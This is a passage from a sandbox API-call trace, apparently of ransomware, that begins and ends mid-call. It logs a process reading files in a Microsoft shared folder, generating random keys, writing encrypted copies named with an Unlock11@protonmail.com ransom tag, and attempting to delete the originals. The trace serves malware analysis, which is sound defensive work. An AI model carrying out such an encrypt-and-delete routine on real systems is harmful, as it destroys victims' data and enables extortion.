(in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.921] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.921] GetLastError () returned 0x0 [0121.922] GetLastError () returned 0x0 [0121.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d68 | out: hHeap=0x2ad0000) returned 1 [0121.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0121.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.922] GetLastError () returned 0x0 [0121.922] GetLastError () returned 0x0 [0121.922] GetLastError () returned 0x0 [0121.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0121.922] GetLastError () returned 0x0 [0121.922] GetLastError () returned 0x0 [0121.923] GetLastError () returned 0x0 [0121.923] GetLastError () returned 0x0 [0121.925] GetLastError () returned 0x0 [0121.925] GetLastError () returned 0x0 [0121.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d58 | out: hHeap=0x2ad0000) returned 1 [0121.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xbf48) returned 0x37bf790 [0121.925] GetLastError () returned 0x0 [0121.926] GetLastError () returned 0x0 [0121.926] GetLastError () returned 0x0 [0121.926] GetLastError () returned 0x0 [0121.926] GetLastError () returned 0x0 [0121.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0121.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0121.926] GetLastError () returned 0x0 [0121.928] GetLastError () returned 0x0 [0121.928] GetLastError () returned 0x0 [0121.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37cb6e0 | out: hHeap=0x2ad0000) returned 1 [0121.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.928] GetLastError () returned 0x0 [0121.929] GetLastError () returned 0x0 [0121.929] GetLastError () returned 0x0 [0121.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.929] GetLastError () returned 0x0 [0121.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.929] CloseHandle (hObject=0x3ac) returned 1 [0121.930] GetLastError () returned 0x0 [0121.930] GetCurrentThreadId () returned 0x9b0 [0121.930] GetLastError () returned 0x0 [0121.930] GetLastError () returned 0x0 [0121.930] CloseHandle (hObject=0x39c) returned 1 [0121.930] GetLastError () returned 0x0 [0121.930] GetCurrentThreadId () returned 0x9b0 [0121.930] GetLastError () returned 0x0 [0121.930] GetLastError () returned 0x0 [0121.930] GetLastError () returned 0x0 [0121.931] GetLastError () returned 0x0 [0121.931] GetLastError () returned 0x0 [0121.931] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0 [0121.931] GetLastError () returned 0x5 [0121.931] GetCurrentThreadId () returned 0x9b0 [0121.931] GetLastError () returned 0x5 [0121.931] GetLastError () returned 0x5 [0121.931] GetLastError () returned 0x5 [0121.931] GetLastError () returned 0x5 [0121.932] LocalFree (hMem=0x1053d10) returned 0x0 [0121.932] GetLastError () returned 0x5 [0121.932] GetLastError () returned 0x5 [0121.932] GetLastError () returned 0x5 [0121.932] GetLastError () returned 0x5 [0121.932] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi", lpFilePart=0x9bada4*="boxed-join.avi") returned 0x47 [0121.932] GetCurrentThreadId () returned 0x9b0 [0121.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0121.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0121.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0121.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0121.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea340 [0121.933] GetCurrentThreadId () returned 0x9b0 [0121.933] GetLastError () returned 0x0 [0121.933] GetLastError () returned 0x0 [0121.933] GetLastError () returned 0x0 [0121.933] GetLastError () returned 0x0 [0121.933] GetCurrentThreadId () returned 0x9b0 [0121.933] GetLastError () returned 0x0 [0121.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea340 | out: hHeap=0x2ad0000) returned 1 [0121.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2f0 [0121.934] GetLastError () returned 0x0 [0121.934] GetLastError () returned 0x0 [0121.934] GetLastError () returned 0x0 [0121.934] GetLastError () returned 0x0 [0121.934] GetCurrentThreadId () returned 0x9b0 [0121.934] GetLastError () returned 0x0 [0121.934] GetCurrentThreadId () returned 0x9b0 [0121.934] GetLastError () returned 0x0 [0121.934] GetLastError () returned 0x0 [0121.934] GetLastError () returned 0x0 [0121.935] GetLastError () returned 0x0 [0121.935] GetCurrentThreadId () returned 0x9b0 [0121.935] GetLastError () returned 0x0 [0121.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea2f0 | out: hHeap=0x2ad0000) returned 1 [0121.935] GetLastError () returned 0x0 [0121.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0121.935] GetLastError () returned 0x0 [0121.935] GetLastError () returned 0x0 [0121.935] GetLastError () returned 0x0 [0121.935] GetCurrentThreadId () returned 0x9b0 [0121.935] GetLastError () returned 0x0 [0121.935] GetLastError () returned 0x0 [0121.936] GetLastError () returned 0x0 [0121.936] GetLastError () returned 0x0 [0121.936] GetLastError () returned 0x0 [0121.936] GetCurrentThreadId () returned 0x9b0 [0121.936] GetLastError () returned 0x0 [0121.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0121.936] GetLastError () returned 0x0 [0121.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0121.936] GetLastError () returned 0x0 [0121.936] GetLastError () returned 0x0 [0121.937] GetLastError () returned 0x0 [0121.937] GetCurrentThreadId () returned 0x9b0 [0121.937] GetLastError () returned 0x0 [0121.937] GetLastError () returned 0x0 [0121.937] GetLastError () returned 0x0 [0121.937] GetLastError () returned 0x0 [0121.937] GetLastError () returned 0x0 [0121.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0121.937] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e)) returned 1 [0121.938] GetLastError () returned 0x0 [0121.938] GetCurrentThreadId () returned 0x9b0 [0121.938] GetLastError () returned 0x0 [0121.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8f0 | out: hHeap=0x2ad0000) returned 1 [0121.938] GetCurrentThreadId () returned 0x9b0 [0121.938] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0ac | out: pbBuffer=0x366a0ac) returned 1 [0121.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0121.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0121.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0121.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2a0 [0121.938] GetLastError () returned 0x0 [0121.938] GetLastError () returned 0x0 [0121.939] GetLastError () returned 0x0 [0121.939] GetLastError () returned 0x0 [0121.939] GetCurrentThreadId () returned 0x9b0 [0121.939] GetLastError () returned 0x0 [0121.939] GetCurrentThreadId () returned 0x9b0 [0121.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea2a0 | out: hHeap=0x2ad0000) returned 1 [0121.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0121.939] GetLastError () returned 0x0 [0121.939] GetLastError () returned 0x0 [0121.939] GetLastError () returned 0x0 [0121.939] GetLastError () returned 0x0 [0121.940] GetCurrentThreadId () returned 0x9b0 [0121.940] GetLastError () returned 0x0 [0121.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0121.940] GetCurrentThreadId () returned 0x9b0 [0121.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6c18 [0121.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4ec8 | out: hHeap=0x2ad0000) returned 1 [0121.940] GetLastError () returned 0x0 [0121.940] GetLastError () returned 0x0 [0121.940] GetLastError () returned 0x0 [0121.940] GetLastError () returned 0x0 [0121.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bc8 [0121.941] GetLastError () returned 0x0 [0121.941] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.941] GetFileType (hFile=0x39c) returned 0x1 [0121.941] GetLastError () returned 0x0 [0121.941] GetCurrentThreadId () returned 0x9b0 [0121.941] GetLastError () returned 0x0 [0121.941] GetFileType (hFile=0x39c) returned 0x1 [0121.941] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.942] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.942] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.942] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.942] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.942] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.942] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.942] GetLastError () returned 0x0 [0121.942] GetCurrentThreadId () returned 0x9b0 [0121.942] GetLastError () returned 0x0 [0121.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bc8 | out: hHeap=0x2ad0000) returned 1 [0121.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0121.942] GetLastError () returned 0x0 [0121.942] GetLastError () returned 0x0 [0121.943] GetLastError () returned 0x0 [0121.943] GetLastError () returned 0x0 [0121.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bc8 [0121.943] GetLastError () returned 0x0 [0121.943] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.943] GetFileType (hFile=0x3ac) returned 0x1 [0121.943] GetLastError () returned 0x0 [0121.944] GetCurrentThreadId () returned 0x9b0 [0121.944] GetLastError () returned 0x0 [0121.944] GetFileType (hFile=0x3ac) returned 0x1 [0121.944] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.944] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.944] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.944] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.944] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.944] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.944] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.945] GetLastError () returned 0x0 [0121.945] GetCurrentThreadId () returned 0x9b0 [0121.945] GetLastError () returned 0x0 [0121.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bc8 | out: hHeap=0x2ad0000) returned 1 [0121.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0121.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.945] GetLastError () returned 0x0 [0121.945] GetLastError () returned 0x0 [0121.945] GetCurrentThreadId () returned 0x9b0 [0121.946] GetLastError () returned 0x0 [0121.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.946] GetLastError () returned 0x0 [0121.946] GetLastError () returned 0x0 [0121.946] GetCurrentThreadId () returned 0x9b0 [0121.946] GetLastError () returned 0x0 [0121.946] GetLastError () returned 0x0 [0121.948] GetLastError () returned 0x0 [0121.948] GetCurrentThreadId () returned 0x9b0 [0121.948] GetLastError () returned 0x0 [0121.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c18 | out: hHeap=0x2ad0000) returned 1 [0121.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xb638) returned 0x37bf790 [0121.948] GetCurrentThreadId () returned 0x9b0 [0121.949] GetLastError () returned 0x0 [0121.949] GetLastError () returned 0x0 [0121.949] GetLastError () returned 0x0 [0121.949] GetLastError () returned 0x0 [0121.949] GetCurrentThreadId () returned 0x9b0 [0121.949] GetLastError () returned 0x0 [0121.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0121.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.949] GetLastError () returned 0x0 [0121.951] GetLastError () returned 0x0 [0121.951] GetCurrentThreadId () returned 0x9b0 [0121.951] GetLastError () returned 0x0 [0121.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37cadd0 | out: hHeap=0x2ad0000) returned 1 [0121.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.952] GetLastError () returned 0x0 [0121.952] GetLastError () returned 0x0 [0121.952] GetCurrentThreadId () returned 0x9b0 [0121.952] GetLastError () returned 0x0 [0121.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.952] GetLastError () returned 0x0 [0121.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.952] CloseHandle (hObject=0x3ac) returned 1 [0121.953] GetLastError () returned 0x0 [0121.953] GetCurrentThreadId () returned 0x9b0 [0121.953] GetLastError () returned 0x0 [0121.953] GetLastError () returned 0x0 [0121.953] CloseHandle (hObject=0x39c) returned 1 [0121.953] GetLastError () returned 0x0 [0121.953] GetCurrentThreadId () returned 0x9b0 [0121.953] GetLastError () returned 0x0 [0121.953] GetLastError () returned 0x0 [0121.954] GetLastError () returned 0x0 [0121.954] GetLastError () returned 0x0 [0121.954] GetLastError () returned 0x0 [0121.954] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0 [0121.954] GetLastError () returned 0x5 [0121.954] GetCurrentThreadId () returned 0x9b0 [0121.954] GetLastError () returned 0x5 [0121.954] GetLastError () returned 0x5 [0121.954] GetLastError () returned 0x5 [0121.954] GetLastError () returned 0x5 [0121.955] LocalFree (hMem=0x1053b10) returned 0x0 [0121.955] GetCurrentThreadId () returned 0x9b0 [0121.955] GetLastError () returned 0x5 [0121.955] GetLastError () returned 0x5 [0121.955] GetLastError () returned 0x5 [0121.955] GetLastError () returned 0x5 [0121.955] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi", lpFilePart=0x9bada4*="boxed-split.avi") returned 0x48 [0121.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0121.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0121.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0121.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0121.956] GetCurrentThreadId () returned 0x9b0 [0121.956] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2f0 [0121.956] GetLastError () returned 0x0 [0121.956] GetLastError () returned 0x0 [0121.956] GetLastError () returned 0x0 [0121.956] GetLastError () returned 0x0 [0121.956] GetCurrentThreadId () returned 0x9b0 [0121.956] GetLastError () returned 0x0 [0121.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea2f0 | out: hHeap=0x2ad0000) returned 1 [0121.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea368 [0121.957] GetLastError () returned 0x0 [0121.957] GetCurrentThreadId () returned 0x9b0 [0121.957] GetCurrentThreadId () returned 0x9b0 [0121.957] GetCurrentThreadId () returned 0x9b0 [0121.957] GetCurrentThreadId () returned 0x9b0 [0121.957] GetCurrentThreadId () returned 0x9b0 [0121.957] GetCurrentThreadId () returned 0x9b0 [0121.957] GetCurrentThreadId () returned 0x9b0 [0121.957] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de)) returned 1 [0121.958] GetCurrentThreadId () returned 0x9b0 [0121.958] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8f4 | out: pbBuffer=0x366a8f4) returned 1 [0121.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0121.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0121.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0121.958] GetCurrentThreadId () returned 0x9b0 [0121.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0121.958] GetCurrentThreadId () returned 0x9b0 [0121.958] GetCurrentThreadId () returned 0x9b0 [0121.959] GetCurrentThreadId () returned 0x9b0 [0121.959] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.959] GetFileType (hFile=0x39c) returned 0x1 [0121.959] GetCurrentThreadId () returned 0x9b0 [0121.959] GetFileType (hFile=0x39c) returned 0x1 [0121.959] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.959] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.959] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.959] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.960] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.960] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.960] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.960] GetLastError () returned 0x0 [0121.960] GetCurrentThreadId () returned 0x9b0 [0121.960] GetLastError () returned 0x0 [0121.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bc8 | out: hHeap=0x2ad0000) returned 1 [0121.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0121.960] GetLastError () returned 0x0 [0121.961] GetLastError () returned 0x0 [0121.961] GetLastError () returned 0x0 [0121.961] GetLastError () returned 0x0 [0121.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.961] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6cf8 [0121.961] GetLastError () returned 0x0 [0121.961] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.962] GetFileType (hFile=0x3ac) returned 0x1 [0121.962] GetLastError () returned 0x0 [0121.962] GetCurrentThreadId () returned 0x9b0 [0121.962] GetLastError () returned 0x0 [0121.962] GetFileType (hFile=0x3ac) returned 0x1 [0121.963] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.963] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.963] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.963] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.963] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.963] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.963] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.963] GetLastError () returned 0x0 [0121.963] GetCurrentThreadId () returned 0x9b0 [0121.963] GetLastError () returned 0x0 [0121.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cf8 | out: hHeap=0x2ad0000) returned 1 [0121.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0121.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0121.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.964] GetLastError () returned 0x0 [0121.964] GetLastError () returned 0x0 [0121.964] GetCurrentThreadId () returned 0x9b0 [0121.964] GetLastError () returned 0x0 [0121.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.964] GetLastError () returned 0x0 [0121.964] GetLastError () returned 0x0 [0121.964] GetCurrentThreadId () returned 0x9b0 [0121.964] GetLastError () returned 0x0 [0121.965] GetLastError () returned 0x0 [0121.999] GetLastError () returned 0x0 [0121.999] GetCurrentThreadId () returned 0x9b0 [0121.999] GetLastError () returned 0x0 [0122.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d88 | out: hHeap=0x2ad0000) returned 1 [0122.000] GetCurrentThreadId () returned 0x9b0 [0122.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 